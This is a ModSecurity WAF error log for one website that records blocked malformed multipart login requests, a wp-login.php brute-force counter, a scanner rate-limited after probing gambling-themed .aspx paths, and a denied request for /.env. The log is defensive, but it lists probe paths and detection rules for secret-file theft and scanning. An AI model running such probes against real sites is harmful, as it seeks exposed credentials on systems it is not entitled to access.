[Mon Feb 16 19:25:53.256675 2026] [:error] [pid 4347:tid 4378] [client 160.178.45.103:63344] [client 160.178.45.103] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||gigfragments.org|F|2"] [data "Multipart parsing error: Multipart: No boundaries found in payload."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/api/auth/login"] [unique_id "aZL-wTFcjv6pEAnSEieyPAAAAAo"]
[Mon Feb 16 19:25:53.256762 2026] [:error] [pid 4347:tid 4378] [client 160.178.45.103:63344] [client 160.178.45.103] ModSecurity: Access denied with code 403 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "30"] [id "210240"] [rev "4"] [msg "COMODO WAF: Multipart request body failed strict validation: PE 1, BQ 0, BW 0, DB 1, DA 0, HF 0, LF 0, SM , IQ 0, IH 0, FLE 0||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/api/auth/login"] [unique_id "aZL-wTFcjv6pEAnSEieyPAAAAAo"]
[Mon Feb 16 19:25:53.612115 2026] [:error] [pid 4347:tid 4376] [client 160.178.45.103:63344] [client 160.178.45.103] ModSecurity: Multipart parsing error (init): Multipart: Multiple boundary parameters in C-T. [hostname "gigfragments.org"] [uri "/api/auth/login"] [unique_id "aZL-wTFcjv6pEAnSEieyPgAAAAg"]
[Mon Feb 16 19:26:05.825108 2026] [:error] [pid 4347:tid 4389] [client 160.178.45.103:54334] [client 160.178.45.103] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||gigfragments.org|F|2"] [data "Multipart parsing error: Multipart: No boundaries found in payload."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/api/login"] [unique_id "aZL-zTFcjv6pEAnSEieyUgAAABU"]
[Mon Feb 16 19:26:05.825203 2026] [:error] [pid 4347:tid 4389] [client 160.178.45.103:54334] [client 160.178.45.103] ModSecurity: Access denied with code 403 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "30"] [id "210240"] [rev "4"] [msg "COMODO WAF: Multipart request body failed strict validation: PE 1, BQ 0, BW 0, DB 1, DA 0, HF 0, LF 0, SM , IQ 0, IH 0, FLE 0||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/api/login"] [unique_id "aZL-zTFcjv6pEAnSEieyUgAAABU"]
[Mon Feb 16 19:26:09.199157 2026] [:error] [pid 4347:tid 4376] [client 160.178.45.103:63344] [client 160.178.45.103] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||gigfragments.org|F|2"] [data "Multipart: Multiple boundary parameters in C-T."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/api/auth/login"] [unique_id "aZL-wTFcjv6pEAnSEieyPgAAAAg"]
[Mon Feb 16 19:26:09.199264 2026] [:error] [pid 4347:tid 4376] [client 160.178.45.103:63344] [client 160.178.45.103] ModSecurity: Access denied with code 403 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "30"] [id "210240"] [rev "4"] [msg "COMODO WAF: Multipart request body failed strict validation: PE 1, BQ 0, BW 0, DB 0, DA 0, HF 0, LF 0, SM , IQ 0, IH 0, FLE 0||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/api/auth/login"] [unique_id "aZL-wTFcjv6pEAnSEieyPgAAAAg"]
[Mon Feb 16 19:26:10.143660 2026] [:error] [pid 4347:tid 4391] [client 160.178.45.103:54334] [client 160.178.45.103] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||gigfragments.org|F|2"] [data "Multipart parsing error: Multipart: No boundaries found in payload."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/api/login"] [unique_id "aZL-0TFcjv6pEAnSEieyWAAAABc"]
[Mon Feb 16 19:26:10.143794 2026] [:error] [pid 4347:tid 4391] [client 160.178.45.103:54334] [client 160.178.45.103] ModSecurity: Access denied with code 403 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "30"] [id "210240"] [rev "4"] [msg "COMODO WAF: Multipart request body failed strict validation: PE 1, BQ 0, BW 0, DB 1, DA 0, HF 0, LF 0, SM , IQ 0, IH 0, FLE 0||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/api/login"] [unique_id "aZL-0TFcjv6pEAnSEieyWAAAABc"]
[Mon Feb 16 19:26:14.519227 2026] [:error] [pid 4347:tid 4388] [client 160.178.45.103:54334] [client 160.178.45.103] ModSecurity: Multipart parsing error (init): Multipart: Multiple boundary parameters in C-T. [hostname "gigfragments.org"] [uri "/api/login"] [unique_id "aZL-1jFcjv6pEAnSEieyYQAAABQ"]
[Mon Feb 16 19:26:14.519907 2026] [:error] [pid 4347:tid 4388] [client 160.178.45.103:54334] [client 160.178.45.103] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||gigfragments.org|F|2"] [data "Multipart: Multiple boundary parameters in C-T."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/api/login"] [unique_id "aZL-1jFcjv6pEAnSEieyYQAAABQ"]
[Mon Feb 16 19:26:14.519996 2026] [:error] [pid 4347:tid 4388] [client 160.178.45.103:54334] [client 160.178.45.103] ModSecurity: Access denied with code 403 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "30"] [id "210240"] [rev "4"] [msg "COMODO WAF: Multipart request body failed strict validation: PE 1, BQ 0, BW 0, DB 0, DA 0, HF 0, LF 0, SM , IQ 0, IH 0, FLE 0||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/api/login"] [unique_id "aZL-1jFcjv6pEAnSEieyYQAAABQ"]
[Mon Feb 16 20:20:43.941462 2026] [:error] [pid 26648:tid 26662] [client 103.77.106.246:55407] [client 103.77.106.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.77.106.246, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZMLmzT55fUixS3gmyg2gwAAAYk"]
[Mon Feb 16 20:20:46.844947 2026] [:error] [pid 4347:tid 4371] [client 103.77.106.246:55422] [client 103.77.106.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.77.106.246, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZMLnjFcjv6pEAnSEifJ1wAAAAM"]
[Tue Feb 17 00:23:47.700396 2026] [:error] [pid 34904:tid 34927] [client 103.77.106.246:62340] [client 103.77.106.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.77.106.246, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZNEkxoDUNgfYrSP5-tt2wAAAdU"]
[Tue Feb 17 01:21:37.392951 2026] [:error] [pid 4347:tid 4387] [client 103.77.106.246:51048] [client 103.77.106.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.77.106.246, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZNSITFcjv6pEAnSEicuYQAAABM"]
[Tue Feb 17 01:56:39.325277 2026] [:error] [pid 38888:tid 38898] [client 51.68.34.57:49522] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "aZNaV6mDoBJWPvV4pcOjtwAAAUc"]
[Tue Feb 17 01:56:41.343373 2026] [:error] [pid 38888:tid 38904] [client 51.68.34.57:53462] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aZNaWamDoBJWPvV4pcOjuQAAAU0"]
[Tue Feb 17 01:56:43.373049 2026] [:error] [pid 26648:tid 26662] [client 51.68.34.57:53478] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aZNaWzT55fUixS3gmyiFeAAAAYk"]
[Tue Feb 17 01:56:45.251258 2026] [:error] [pid 38888:tid 38892] [client 51.68.34.57:53480] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aZNaXamDoBJWPvV4pcOjwQAAAUE"]
[Tue Feb 17 01:56:47.142454 2026] [:error] [pid 4347:tid 4387] [client 51.68.34.57:53486] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aZNaXzFcjv6pEAnSEic3TAAAABM"]
[Tue Feb 17 01:56:49.041348 2026] [:error] [pid 4347:tid 4368] [client 51.68.34.57:53498] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aZNaYTFcjv6pEAnSEic3VAAAAAA"]
[Tue Feb 17 01:56:50.930030 2026] [:error] [pid 26648:tid 26672] [client 51.68.34.57:53502] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aZNaYjT55fUixS3gmyiFfwAAAZM"]
[Tue Feb 17 01:56:52.831474 2026] [:error] [pid 26648:tid 26676] [client 51.68.34.57:41744] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aZNaZDT55fUixS3gmyiFggAAAZc"]
[Tue Feb 17 01:56:54.858700 2026] [:error] [pid 26648:tid 26670] [client 51.68.34.57:41750] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aZNaZjT55fUixS3gmyiFiQAAAZE"]
[Tue Feb 17 01:56:56.762464 2026] [:error] [pid 4455:tid 4479] [client 51.68.34.57:41758] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aZNaaANa-4dvQCL0rurVugAAANY"]
[Tue Feb 17 01:56:58.802078 2026] [:error] [pid 4348:tid 4402] [client 51.68.34.57:41768] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aZNaanxbK-cCGKg9aysIAgAAAEc"]
[Tue Feb 17 01:57:00.725702 2026] [:error] [pid 26648:tid 26654] [client 51.68.34.57:41772] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aZNabDT55fUixS3gmyiFjwAAAYE"]
[Tue Feb 17 01:57:02.635601 2026] [:error] [pid 4455:tid 4463] [client 51.68.34.57:41016] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aZNabgNa-4dvQCL0rurVvwAAAMY"]
[Tue Feb 17 01:57:04.660662 2026] [:error] [pid 26648:tid 26658] [client 51.68.34.57:41030] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aZNacDT55fUixS3gmyiFmQAAAYU"]
[Tue Feb 17 01:57:06.699638 2026] [:error] [pid 34904:tid 34920] [client 51.68.34.57:41046] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "aZNachoDUNgfYrSP5-t7MAAAAc4"]
[Tue Feb 17 01:57:08.609701 2026] [:error] [pid 4348:tid 4411] [client 51.68.34.57:41060] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "aZNadHxbK-cCGKg9aysIDwAAAFA"]
[Tue Feb 17 01:57:10.509881 2026] [:error] [pid 34932:tid 34960] [client 51.68.34.57:41072] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "aZNadkKCWyYIg5P1IPfPGQAAAhU"]
[Tue Feb 17 01:57:12.564409 2026] [:error] [pid 26648:tid 26667] [client 51.68.34.57:34898] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "aZNaeDT55fUixS3gmyiFoAAAAY4"]
[Tue Feb 17 01:57:14.486886 2026] [:error] [pid 35004:tid 35024] [client 51.68.34.57:34912] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "aZNaemX1hIIv5l_K_OuU7QAAApI"]
[Tue Feb 17 01:57:16.444234 2026] [:error] [pid 4349:tid 4424] [client 51.68.34.57:34928] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aZNafMrbZYafUL_3QfxHKgAAAII"]
[Tue Feb 17 01:57:18.347416 2026] [:error] [pid 38888:tid 38910] [client 51.68.34.57:34938] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aZNafqmDoBJWPvV4pcOj5gAAAVM"]
[Tue Feb 17 01:57:20.352124 2026] [:error] [pid 38888:tid 38891] [client 51.68.34.57:34946] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "aZNagKmDoBJWPvV4pcOj6gAAAUA"]
[Tue Feb 17 01:57:22.478440 2026] [:error] [pid 35004:tid 35008] [client 51.68.34.57:35108] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "aZNagmX1hIIv5l_K_OuU8QAAAoI"]
[Tue Feb 17 01:57:24.375259 2026] [:error] [pid 34932:tid 34940] [client 51.68.34.57:35122] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "aZNahEKCWyYIg5P1IPfPJAAAAgE"]
[Tue Feb 17 01:57:26.309477 2026] [:error] [pid 26648:tid 26668] [client 51.68.34.57:35132] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "aZNahjT55fUixS3gmyiFqwAAAY8"]
[Tue Feb 17 01:57:28.256238 2026] [:error] [pid 35004:tid 35017] [client 51.68.34.57:35146] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "aZNaiGX1hIIv5l_K_OuU-AAAAos"]
[Tue Feb 17 01:57:30.169080 2026] [:error] [pid 4349:tid 4439] [client 51.68.34.57:35162] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "aZNaisrbZYafUL_3QfxHLgAAAJE"]
[Tue Feb 17 01:57:32.073361 2026] [:error] [pid 34932:tid 34960] [client 51.68.34.57:42650] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "aZNajEKCWyYIg5P1IPfPLgAAAhU"]
[Tue Feb 17 01:57:34.041726 2026] [:error] [pid 4347:tid 4373] [client 51.68.34.57:42654] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "aZNajjFcjv6pEAnSEic3kQAAAAU"]
[Tue Feb 17 01:58:09.581353 2026] [:error] [pid 34904:tid 34924] [client 51.68.34.57:42656] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20789.aspx"] [unique_id "aZNasRoDUNgfYrSP5-t7bgAAAdI"]
[Tue Feb 17 01:58:11.545967 2026] [:error] [pid 4347:tid 4372] [client 51.68.34.57:54036] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aZNaszFcjv6pEAnSEic3vAAAAAQ"]
[Tue Feb 17 01:58:13.499171 2026] [:error] [pid 34932:tid 34952] [client 51.68.34.57:54050] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aZNatUKCWyYIg5P1IPfPXAAAAg0"]
[Tue Feb 17 01:58:15.491663 2026] [:error] [pid 35004:tid 35029] [client 51.68.34.57:54058] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aZNat2X1hIIv5l_K_OuVBQAAApc"]
[Tue Feb 17 01:58:17.335061 2026] [:error] [pid 4347:tid 4385] [client 51.68.34.57:54060] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20game.aspx"] [unique_id "aZNauTFcjv6pEAnSEic3vwAAABE"]
[Tue Feb 17 02:20:06.235629 2026] [:error] [pid 35004:tid 35009] [client 103.77.106.246:58680] [client 103.77.106.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.77.106.246, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZNf1mX1hIIv5l_K_OuYGAAAAoM"]
[Tue Feb 17 02:41:37.229617 2026] [:error] [pid 4347:tid 4378] [client 52.195.192.94:61626] [client 52.195.192.94] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aZNk4TFcjv6pEAnSEidD-wAAAAo"]
[Tue Feb 17 03:12:15.465716 2026] [:error] [pid 4347:tid 4382] [client 43.135.145.77:44542] [client 43.135.145.77] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aZNsDzFcjv6pEAnSEidL4wAAAA4"]
